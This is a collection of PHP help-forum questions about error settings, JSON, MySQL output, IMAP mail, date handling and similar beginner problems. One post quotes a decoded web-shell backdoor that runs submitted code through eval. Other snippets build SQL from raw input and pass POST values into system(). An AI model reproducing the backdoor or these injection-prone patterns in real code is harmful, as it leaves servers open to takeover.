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php error reporting - having trouble matching local & web server settings

- by Andrew Heath

I'm trying to add a custom error handler to my site, but in doing so have discovered that my webhost's PHP error reporting settings and those of my localhost (default XAMPP) vary considerably. While I thought I was programming to E_STRICT like a good little boy, adding the error handler to my webhost revealed craploads of Runtime Notices. Example: Runtime notice strtotime() [function.strtotime]: It is not safe to rely on the system's timezone settings. Please use the date.timezone setting, the TZ environment variable or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'America/Chicago' for 'CST/-6.0/no DST' instead In /home/... Clearly this isn't a red-alert, showstopping error. But what bothers me is that it doesn't show up on my localhost. I'd certainly like to improve my code by addressing these sorts of issues if I could see them! I've looked through both php.ini files, and my webhost's setting is error_reporting = E_ALL & ~E_NOTICE whereas mine was error_reporting = E_STRICT, which I had thought was better. However, changing mine to match and rebooting the server doesn't seem to have accomplished anything. Could someone please point me in the right direction?

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File streaming in PHP - How to replicate this C#.net code in PHP?

- by openid_kenja

I'm writing an interface to a web service where we need to upload configuration files. The documentation only provides a sample in C#.net which I am not familiar with. I'm trying to implement this in PHP. Can someone familiar with both languages point me in the right direction? I can figure out all the basics, but I'm trying to figure out suitable PHP replacements for the FileStream, ReadBytes, and UploadDataFile functions. I believe that the RecService object contains the URL for the web service. Thanks for your help! private void UploadFiles() { clientAlias = “<yourClientAlias>”; string filePath = “<pathToYourDataFiles>”; string[] fileList = {"Config.txt", "ProductDetails.txt", "BrandNames.txt", "CategoryNames.txt", "ProductsSoldOut.txt", "Sales.txt"}; RecommendClient RecService = new RecommendClient(); for (int i = 0; i < fileList.Length; i++) { bool lastFile = (i == fileList.Length - 1); //start generator after last file try { string fileName = filePath + fileList[i]; if (!File.Exists(fileName)) continue; // file not found } // set up a file stream and binary reader for the selected file and convert to byte array FileStream fStream = new FileStream(fileName, FileMode.Open, FileAccess.Read); BinaryReader br = new BinaryReader(fStream); byte[] data = br.ReadBytes((int)numBytes); br.Close(); // pass byte array to the web service string result = RecService.UploadDataFile(clientAlias, fileList[i], data, lastFile); fStream.Close(); fStream.Dispose(); } catch (Exception ex) { // log an error message } } }

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PHP/Javascript: Need help removing line break from code

- by Josh K

I am trying to get names from a .txt file. I am using file('filename.txt') but if i use a php for loop to try and trim the names, it comes out on multiple lines: This is the actual line that prints the javascript (NOTE: I am going to be putting these names into a select box, if you can fix the problem at hand the rest of the code should work so unless you a big problem with it you don't need to comment) <?php for($i=1; $i < 27; $i++){ echo "selbox.options[selbox.options.length] = new Option('".lines[$i]."','".$lines[$i]."');\n"; } ?> Heres how it comes out on the browser: selbox.options[selbox.options.length] = new Option('Djamal ABDOUN ','First1 Last1 '); selbox.options[selbox.options.length] = new Option('Chadli AMRI ','First2 Last2 '); I need those to be on one line so i dont get a unterminated string literal js error Any ideas on what i can do here? EDIT: Oh i should probably mention, the $lines var is initiated like this: $lines = file('filename.txt'); and inside that file i have formatted like this First1 Last1 First2 Last2 First3 Last3 etc. and i hit delete after each Last name until the next first name is touching, then hit enter to put it on a new line (Editor is notepad++)

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JSON parse data in javascript from php

- by Stefania

I'm trying to retrieve data in a javascript file from a php file using json. $items = array(); while($r = mysql_fetch_array($result)) { $rows = array( "id_locale" => $r['id_locale'], "latitudine" => $r['lat'], "longitudine" => $r['lng'] ); array_push($items, array("item" => $rows)); } ECHO json_encode($items); and in the javascript file I try to recover the data using an ajax call: $.ajax({ type:"POST", url:"Locali.php", success:function(data){ alert("1"); //var obj = jQuery.parseJSON(idata); var json = JSON.parse(data); alert("2"); for (var i=0; i<json.length; i++) { point = new google.maps.LatLng(json[i].item.latitudine,json[i].item.longitudine); alert(point); } } }) The first alert is printed, the latter does not, it gives me error: Unexpected token <.... but I do not understand what it is. Anyone have any idea where am I wrong? I also tried to recover the data with jquery but with no positive results.

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php oop and mysql

- by gloris

I need to get data, to check and send to db. Programming with PHP OOP. Could you tell me if my class structure is good and how dislpay all data?. Thanks <?php class Database{ private $DBhost = 'localhost'; private $DBuser = 'root'; private $DBpass = 'root'; private $DBname = 'blog'; public function connect(){ //Connect to mysql db } public function select($rows){ //select data from db } public function insert($rows){ //Insert data to db } public function delete($rows){ //Delete data from db } } class CheckData{ public $number1; public $number2; public function __construct(){ $this->number1 = $_POST['number1']; $this->number2 = $_POST['number2']; } function ISempty(){ if(!empty($this->$number1)){ echo "Not Empty"; $data = new Database(); $data->insert($this->$number1); } else{ echo "Empty1"; } if(!empty($this->$number2)){ echo "Not Empty"; $data = new Database(); $data->insert($this->$number2); } else{ echo "Empty2"; } } } class DisplayData{ //How print all data? function DisplayNumber(){ $data = new Database(); $data->select(); } } $check = new CheckData(); $check->ISempty(); $display = new DisplayData() $display->DisplayNumber(); ?>

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PHP date returning wrong time

- by gargantaun

The following script is returning the wrong time after I call date_default_timezone_set("UTC") <?PHP $timestamp = time(); echo "<p>Timestamp: $timestamp</p>"; // This returns the correct time echo "<p>". date("Y-m-d H:i:s", $timestamp) ."</p>"; echo "<p>Now I call 'date_default_timezone_set(\"UTC\")' and echo out the same timestamp.</p>"; echo "Set timezone = " . date_default_timezone_set("UTC"); // This returns a time 5 hours in the past echo "<p>". date("Y-m-d H:i:s", $timestamp) ."</p>"; ?> The timezone on the server is BST. So what should happen is that the second call to 'date' should return a time 1 hour behind the first call. It's actually returning a time 5 hours behind the first one. I should note that the server was originally set up with the EDT timezone (UTC -4). That was changed to BST (UTC +1) and the server was restarted. I can't figure out if this is a PHP problem or a problem with the server.

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php cURL. preg_match , extract text from xhtml

- by Michael

I'm trying to extract the price from the bellow html page/link using php cURL and preg_match . Basically I'm expecting for this code to output 4,550 but for some reasons I get Notice: Undefined offset: 1 in C:\wamp\www\test.php on line 22 I think that the pattern is correct because if I put the html itself in a variable and escape the "" it works ! . Also if I output (echo $result;) it displays the html properly grabbed from foxtons website so I just can't figure it out why the whole thing doesn't work . I need to make this work and also I would appreciate if you would tell me why is that notice generated and why my current script doesn't work. $url = "http://www.foxtons.co.uk/search?bedrooms_from=0&property_id=727717"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_exec($ch); curl_close($ch); $result2 = str_replace('"', '\"', $result); $tagname1= ");<\/script "; $tagname2= "<\/noscript per month<\/a"; $pattern = "/$tagname1(.*?)$tagname2/"; preg_match($pattern, $result, $matches); $prices = $matches[1]; print_r($prices); ?

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php while selecting a node should be highlighted.

- by shaibi

I need to highlight the node value when I select it.how can I wrirte code for that in php my code is function generate_menu($parent) { $has_childs = false; global $menu_array; foreach($menu_array as $key = $value) { //print_r($value); if ($value['parentid'] == $parent) { if ($has_childs === false) { $has_childs = true; $menu .= '<ul>'; } $clor = 'black'; if(($_GET['id']>0) &&($key == $_GET['id'])) { $clor = '#990000'; } $chld = generate_menu($key); $cls = ($chld != '')? 'folder' : 'file'; $menu .= '<li><span class="'.$cls.'" color='.$clor.'> ' . $value['humanid'].'-'.$value['title'] . ' <a href="index.php?id='.$key.'"><img src="images/edit.png" alt=" Edit" title="Edit"/></a></span>'; $menu .= $chld; $menu .= '</li>'; } } if ($has_childs === true) $menu .= '</ul>'; return $menu ; } ?

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PHP and MySQL echoing out a Table

- by user1631702

Okay, so I've done this before, and it worked. I am trying to echo out specific rows on my database in a table. Here is my code: <?php $connect = mysql_connect("localhost", "xxx", "xxx") or die ("Hey loser, check your server connection."); mysql_select_db("xxx"); $quey1="select * from `Ad Requests`"; $result=mysql_query($quey1) or die(mysql_error()); ?> <table border=1 style="background-color:#F0F8FF;" > <caption><EM>Student Record</EM></caption> <tr> <th>Student ID</th> <th>Student Name</th> <th>Class</th> </tr> <?php while($row=mysql_fetch_array($result)){ echo "</td><td>"; echo $row['id']; echo "</td><td>"; echo $row['twitter']; echo "</td><td>"; echo $row['why']; echo "</td></tr>"; } echo "</table>"; ?> It gives me no errors, but It just shows a blank table with none of these rows. My Question: How come this wont show any rows in the table, what am I doing wrong?

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I need an IDE for typo3 core development in php

- by Flugan

Php in itself is difficult for IDEs because of the dynamic nature of the language. My current development environment is mostly netbeans against a local svn copy of the codebase setup in a local development webserver. The code is full text indexed by vistas search engine for almost instant searches. I do a lot of development directly against the main development server using a combination of tools. Putty to interact with the server and deploy by updating an svn checkout on the development server. Tortoise SVN locally to have a fairly rich SVN experience. Netbeans obviously have SVN integration. Most of the changes on the remote server is commited using the putty session. WinSCP to interact with the development server with norton commander like interface as well as the good putty integration. Finally my text editor for remote editing is notepad++ out of habit and because of some nice features and good price. What I'm really missing is good php editing. Because of the way typo3 works almost all objects are instanciated through make instance abstraction that either returns the base class or the customized class if the framework has been extended. I'm not looking for a magic editing package and would like to find an editor which can use annotations to specify the type of commonly used variables.

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How to inject php code from database into php script ?

- by luxquarta

I want to store php code inside my database and then use it into my script. class A { public function getName() { return "lux"; } } // instantiates a new A $a = new A(); Inside my database there is data like "hello {$a->getName()}, how are you ?" In my php code I load the data into a variable $string $string = load_data_from_db(); echo $string; // echoes hello {$a->getName()}, how are you ? So now $string contains "hello {$a-getName()}, how are you ?" {$a-getName()} still being un-interpretated Question: I can't find how to write the rest of the code so that {$a-getName()} gets interpretated "into hello lux, how are you". Can someone help ? $new_string = ?????? echo $new_string; //echoes hello lux, how are you ? Is there a solution with eval() ? (please no debate about evil eval ;)) Or any other solution ?

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PHP - uninitialized array offset

- by kimmothy16

Hey everyone, I am using PHP to create a form with an array of fields. Basically you can add an unlimited number of 'people' to the form and each person has a first name, last name, and phone number. The form requires that you add a phone number for the first person only. If you leave the phone number field blank on any others, the handler file is supposed to be programmed to use the phone number from the first person. So, my fields are: person[] - a hidden field with a value that is this person's primary key. fname[] - an input field lname[] - an input field phone[] - an input field my form handler looks like this: $people = $_POST['person'] $counter = 0; foreach($people as $person): if(phone[$counter] == '') { // use $phone[0]'s phone number } else { // use $phone[$counter] number } $counter = $counter + 1; endforeach; PHP doesn't like this though, it is throwing me an Notice: Uninitialized string offset error. I debugged it by running the is_array function on people, fname, lname, and phone and it returns true to being an array. I can also manually echo out $phone[2], etc. and get the correct value. I've also ran is_int on the $counter variable and it returned true, so I'm unsure why this isn't working as intended? Any help would be great!

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PHP DELETE immediately after select

- by teehoo

I have a PHP server script that SELECTs some data from a MySQL database. As soon as I have the result from mysql_query and mysql_fetch_assoc stored in my own local variables, I want to delete the row I just selected. The problem with this approach is that it seems that PHP has done pass-by-reference to my local variables instead of pass-by-value, and my local variables become undefined after the delete command. Is there anyway to get around this? Here is my code: $query="SELECT id, peerID, name FROM names WHERE peer = $userID AND docID = '$docID' AND seqNo = $nid"; $result = mysql_query($query); if (!$result) self::logError("FAIL:1 getUsersNamesUpdate() query: ".$query."\n"); if (mysql_num_rows($result) == 0) return array(); $row = mysql_fetch_assoc($result); $result = array(); $result["id"] = $row["id"]; $result["peerID"] = $row["peerID"]; $result["name"] = $row["name"]; $query="DELETE FROM names WHERE id = $result[id];"; $result = mysql_query($query); if (!$result) self::logError("FAIL:2 getUsersNamesUpdate() query: ".$query."\n"); return $result;

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Get Mail with PHP and IMAP in Gmail just loading

- by Oscar Godson

I'm not sure why. Ive tried a bunch of different code. Wrote it myself, and copied other people's tutorials but every bit of code it's loading forever and eventually stops due to script processing times on the server. Does anyone know why? Oh, and IMAP is turned on, i get IMAP / Exchange on my iPhone from this same account fine. And IMAP is turned on in my version of PHP (checked with phpinfo they all say enabled.) <?php /* connect to gmail */ $hostname = '{imap.gmail.com:993/imap/ssl}INBOX'; $username = '[email protected]'; $password = 'xxxxxx'; /* try to connect */ $inbox = imap_open($hostname,$username,$password) or die('Cannot connect to Gmail: ' . imap_last_error()); /* grab emails */ $emails = imap_search($inbox,'ALL'); /* if emails are returned, cycle through each... */ if($emails) { /* begin output var */ $output = ''; /* put the newest emails on top */ rsort($emails); /* for every email... */ foreach($emails as $email_number) { /* get information specific to this email */ $overview = imap_fetch_overview($inbox,$email_number,0); $message = imap_fetchbody($inbox,$email_number,2); /* output the email header information */ $output.= '<div class="toggler '.($overview[0]->seen ? 'read' : 'unread').'">'; $output.= '<span class="subject">'.$overview[0]->subject.'</span> '; $output.= '<span class="from">'.$overview[0]->from.'</span>'; $output.= '<span class="date">on '.$overview[0]->date.'</span>'; $output.= '</div>'; /* output the email body */ $output.= '<div class="body">'.$message.'</div>'; } echo $output; } /* close the connection */ imap_close($inbox); ?

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PHP output results on to one page

- by linda

i have a system where a user searches for a film and reviews appear on a page with a button next to each review. The button can be selected to look at the individual review but i basically want a button that when selected it will look at all reviews on one page, the code i am using for the individual review is this <?php ini_set ('display_errors', 1); error_reporting (E_ALL & ~E_NOTICE); $searchfilm=$_POST['searchfilm']; //Connect to database //Filter search $searchfilm = strtoupper($searchfilm); $searchfilm = strip_tags($searchfilm); $searchfilm = trim ($searchfilm); $query = mysql_fetch_assoc(mysql_query("SELECT filmreview FROM review WHERE id = '$id'")); $data = mysql_query("SELECT film.filmname, review.filmreview, review.reviewtitle, review.id FROM film, review WHERE film.filmid = review.filmid AND filmname = '$searchfilm'"); while($row = mysql_fetch_assoc($data)) { // echo $row['filmname']; // echo "<b>Film Name:</b> " .$searchfilm; echo "<table border=\"2\" align=\"left\">"; echo "<tr><td>"; echo "<b>Review Title:</b> " .$row['reviewtitle']; echo "<tr><td>"; echo $row['filmreview']; echo "<p>"; echo "<form method='post' action='analyse1.php'>"; echo "<input type='hidden' name='reviewid' value='".$row['id']."'>"; echo "<input type='submit' name='submit' value='Analyse'>"; echo "</form>"; echo "</table>"; } ?>

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PHP: problem rendering large images (error 321)

- by JP19

Hi ... its me again with a php problem :) Following is part of my PHP script which is rendering JPEG images. ... $tf=$requested_file; $image_type="jpeg"; header("Content-type: image/${image_type}"); $CMD="\$image=imagecreatefrom${image_type}('$tf'); image${image_type}(\$image);"; eval($CMD); exit; ... There is no syntactical error, because above code is working fine for small images, but for large images, it gives: Error 321 (net::ERR_INVALID_CHUNKED_ENCODING): Unknown error. in the browser. To be sure, I created two images using imagemagick from same source image - one resized to 10% of original and other 90%. http://mostpopularsports.net/images/misc/ttt10.jpg works http://mostpopularsports.net/images/misc/ttt90.jpg gives Error 301 in the browser. There is a related question with solution posted by OP here Error writing content through Apache. but I cannot understand how to make the fix. Can someome help me with it? I have looked at the headers in Chrome. For the first request, everything is fine. For the second request - the request headers are all garbled. Both images are jpeg (as they are created from imagemagick. But still to be sure I checked): misc/ttt10.jpg: JPEG image data, JFIF standard 1.01 misc/ttt90.jpg: JPEG image data, JFIF standard 1.01 Finally, the way I fixed is, remove the Transfer-Encoding: chunked header from the response. [This header was sent by apache only when the data was large enough]. (I had an internal proxy, so did it in the proxy script - otherwise one may need to do it in apache settings). There were some good answers and I have selected the one that helped me solve the problem best. thanks JP

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php - create columns from mysql list

- by user271619

I have a long list generated from a simple mysql select query. Currently (shown in the code below) I am simply creating list of table rows with each record. So, nothing complicated. However, I want to divide it into more than one column, depending on the number of returned results. I've been wrapping my brain around how to count this in the php, and I'm not getting the results I need. <table> <? $query = mysql_query("SELECT * FROM `sometable`"); while($rows = mysql_fetch_array($query)){ ?> <tr> <td><?php echo $rows['someRecord']; ?></td> </tr> <? } ?> </table> Obviously there's one column generated. So if the records returned reach 10, then I want to create a new column. In other words, if the returned results are 12, I have 2 columns. If I have 22 results, I'll have 3 columns, and so on.

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Cleaning up PHP Code

- by Michael

Hi, I've noticed I am a very sloppy coder and do things out of the ordinary. Can you take a look at my code and give me some tips on how to code more efficiently? What can I do to improve? session_start(); /check if the token is correct/ if ($_SESSION['token'] == $_GET['custom1']){ /*connect to db*/ mysql_connect('localhost','x','x') or die(mysql_error()); mysql_select_db('x'); /*get data*/ $orderid = mysql_real_escape_string($_GET['order_id']); $amount = mysql_real_escape_string($_GET['amount']); $product = mysql_real_escape_string($_GET['product1Name']); $cc = mysql_real_escape_string($_GET['Credit_Card_Number']); $length = strlen($cc); $last = 4; $start = $length - $last; $last4 = substr($cc, $start, $last); $ipaddress = mysql_real_escape_string($_GET['ipAddress']); $accountid = $_SESSION['user_id']; $credits = mysql_real_escape_string($_GET['custom3']); /*insert history into db*/ mysql_query("INSERT into billinghistory (orderid, price, description, credits, last4, orderip, accountid) VALUES ('$orderid', '$amount', '$product', '$credits', '$last4', '$ipaddress', '$accountid')"); /*add the credits to the users account*/ mysql_query("UPDATE accounts SET credits = credits + $credits WHERE user_id = '$accountid'"); /*redirect is successful*/ header("location: index.php?x=1"); }else{ /*something messed up*/ header("location: error.php"); }

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Possible to Dynamic Form Generation Using PHP global variables

- by J M 4

I am currently a fairly new programmer but am trying to build a registration page for a medical insurance idea we have which captures individual information and subsequent pieces of information about that individual's sub parts. In this case, it is a fight promoter enrolling his 15+ boxers for fight testing services. Right now, I have the site fully laid out to accept 7 fighters worth of information. This is collected during the manager's enrollment. However, each fighter's information is passed and stored in session super globals such as: $_SESSION['F1Firstname']; and $_SESSION['F3SSN3'];. The issue I am running into is this, I want to create a drop down menu selector for the manager to add information for up to 20-30 fighters. Right now I use PHP to state: if ($_SESSION['Num_Fighters'] 6) ... then display the table form fields to collect consumer data. If I have to build hidden elements for 30 fighters AND provide javascript/php validation (yes I am doing both) then I fear the file size for the document will be unnecessarily large for the maanger who only wants to enroll 2 fighters. Can anybody help?

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PHP hack files found - help decoding and identifying

- by akc

I found a handful of hack files on our web server. I managed to de-obfuscate them a bit -- they all seem to have a part that decodes into a chunk that looks like: if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){if (!empty($_POST['c'])) {echo '<textarea rows=28 cols=80>'; $d=base64_decode(str_replace(' ','+',$_POST['c']));if($d) @eval($d); echo '</textarea>';}echo '<form action="" method=post><textarea cols=80 rows=28 name=c></textarea><br><input type=submit></form>';exit;} But this chunk (decoded above) is usually embedded into a larger code snippet. I've shared the code of one of the files in its entirety here: http://pastie.org/3753704 I can sort of see where this code is going, but definitely not an expert at PHP and could use some help figuring out more specifically what it's doing or enabling. Also, if anyone happens to be familiar with this hack, any information on how it works, and where the backdoor and other components of the hack may be hidden would be super helpful and greatly appreciated. I tried to Google parts of the code, to see if others have reported it, but only came up with this link: http://www.daniweb.com/web-development/php/threads/365059/hacked-joomla Thanks!

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problem with joomla, php and json

- by sebastian

hi, i have a problem with a joomla component. i'm, unsing php and json for some dynamic drop down boxes. here is the code:` jQuery( function () { //jQuery.ajaxSetup({error : function (a,b) {console.dir(a); console.dir(b);}}); jQuery("#util, #loc").change( function() { var locatie = jQuery("#loc").val(); var utilitate = jQuery("#util").val(); if ( (locatie!= '---') && (utilitate!='---') ) jQuery.getJSON( "index.php?option=com_calculator&opt=json_contor&format=raw", { locatie: locatie, utilitate: utilitate }, function (data) { var html = ""; if ( data.success == 'ok' ) for (var i in data.val) html += "<option name=den_contor value ='"+ i+"' >" + data.val[i]+ " </option>"; jQuery("#den_contor").html( html ) } ) }) }); the query works, but only on one PC. we have exactly the same xampp server, exactly the same files. on one pc it works, and on a online server and on my pc it doesn't. EDIT: i have three drop down boxes, the first is populated directly from the database, the second has 4 predefined values. and the third is populated depending on combination of the first two. i have a test site online. http://contor.redxart.com must be logged in to use Calculator in the menu. you can make an new account :) "Adaugare Index" is the part that isn't working any ideas? thanks, sebastian

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PHP: how to access variables inside a function that have been declared outside of it?

- by Chris

Please, I am very new and have not been confronted with OOP and all this related stuff, which I guess may be related to this issue (public, private, ...). So, any help and suggestions are very appreciated! :) At the very beginning of each page I include a file that starts the SESSION etc, lets call it session.php. In this file session.php, I include a file that contains a function, let's call it function1.php, because I need the function to be available in session.php. However, later in the main page I also include function2.php which needs to access variables set in session.php, so I additionally tried to include session.php in function2.php. The problem is that an error occurs as function1 will be declared multiple times... Fatal error: Cannot redeclare function1() (previously declared in ... So, what would be a more elegant and clean(er) solution for this? How could you solve it? Basically, I'd need to access variables inside a function that have been included in the main page before... Thank you very much in advance!

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Help with AJAX, Using PHP and hiding elements.

- by ryan

Hey, This is my first time with AJAX, so I'm a bit confused and need your help. I have four div id's and want to toggle hide/show between them based on result from database. Sounds simple, eh! But it is hard to implement for me. HELP!. This is my code - <div id="1">HEya</div> <div id="2">What's up?</div> <input type="submit" id='approve' name="action" value="Approve" onclick="a()" class="approve" /> <input type="submit" id='reject' value="Reject" name="action" onclick="r()" class="reject"/> <script language="javascript" type="text/javascript"> //if cookie exists, at the beginning the form should be hidden if (<?php $responseanswer['response']=='approve'; ?> ){ document.getElementById('1').style.display = 'none'; document.getElementById('2').style.display = 'inline'; } //if user clicks reject, hide one element dislay another else if (<?php $responseanswer['response']=='reject'; ?>){ //if cookie exists document.getElementById('2').style.display = 'none'; document.getElementById('1').style.display = 'block'; } else { function a() { var a = document.getElementById('2'); document.getElementById('1').style.display= 'block'; } //on reject creating a new cookie function r() { var a = document.getElementById('reject'); document.getElementById('1').style.display = 'none'; document.getElementById('2').style.display= 'block'; } } </script> Eveything is fine, but the div is not hiding.

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PHP what is faster to use

- by user1631500

What is faster / better to use? To put html into variables and print them later, or to just html print / echo print the content based on condition? EXAMPLE 1:(html into variables) if(!isset($_SESSION['daddy'])) { $var = "<span class='something'>Go here:<a href='#'>Click</a></span> <span class='something'>Go here:<a href='#'>Click</a></span>" } else { $one=$_SESSION["one"]; $two=$_SESSION["two"]; $three=$_SESSION["three"]; $var = You are cool enough to view the content; } echo $var; EXAMPLE 2:(print based on condition) if(!isset($_SESSION['daddy'])) { $var = 1; } else { $one=$_SESSION["one"]; $two=$_SESSION["two"]; $three=$_SESSION["three"]; $var = 0; } if ($var==1) { ?> <span class='something'>Go here:<a href='#'>Click</a></span> <span class='something'>Go here:<a href='#'>Click</a></span <?php } else { ?> You are cool enough to view the content. <?php } ?>

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php code in FTP to backup db using URL

- by Giom

I fund and inserted this code in my FTP in a backup.php that works great but it copy the file into the root folder (homez/) 1- I would like to put these backup files in a homez/backupDB any idea where to put this path? 2- the db backup files (DB.sql.bz2) have always the same name, is it possible to name each one with the date of creation? (I launch this php with the URL link) <? echo "Votre base est en cours de sauvegarde....... "; $db="nom_de_ma_base"; $status=system("mysqldump --host=mysql5-1.perso --user=$_POST[login] --password=$_POST[password] $db > ../$db.sql"); echo $status; echo "Compression du fichier..... "; system("bzip2 -f ../$db.sql"); echo "C'est fini. Vous pouvez récupérer la base par FTP \n "; ?> Thanks!

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